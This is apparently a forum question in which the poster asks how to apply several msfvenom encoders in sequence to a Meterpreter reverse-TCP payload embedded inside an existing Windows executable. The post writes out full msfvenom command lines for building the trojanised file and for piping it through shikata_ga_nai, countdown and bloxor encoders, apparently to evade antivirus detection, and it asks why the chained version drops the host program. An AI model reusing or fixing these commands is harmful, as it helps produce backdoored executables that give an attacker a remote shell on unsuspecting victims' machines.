I am trying multiple encode on same the executable file, but confused with the syntax.
The Problem:
To encode any executable file we can use the syntax:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X
LPORT=XXXX -x /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f exe > encoded.exe
Now, I want to encode some other executable file/same file; multiple time using different encoders.
Syntax which I am using :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X LPORT=XX -x /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe
I found this thread then implemented the above syntax. But the output file it is generating does not have the included executable file. As size of output from first syntax is 19MB and from second syntax it is 76kB.
So, my question is how can I implement multiple encode to the same executable file.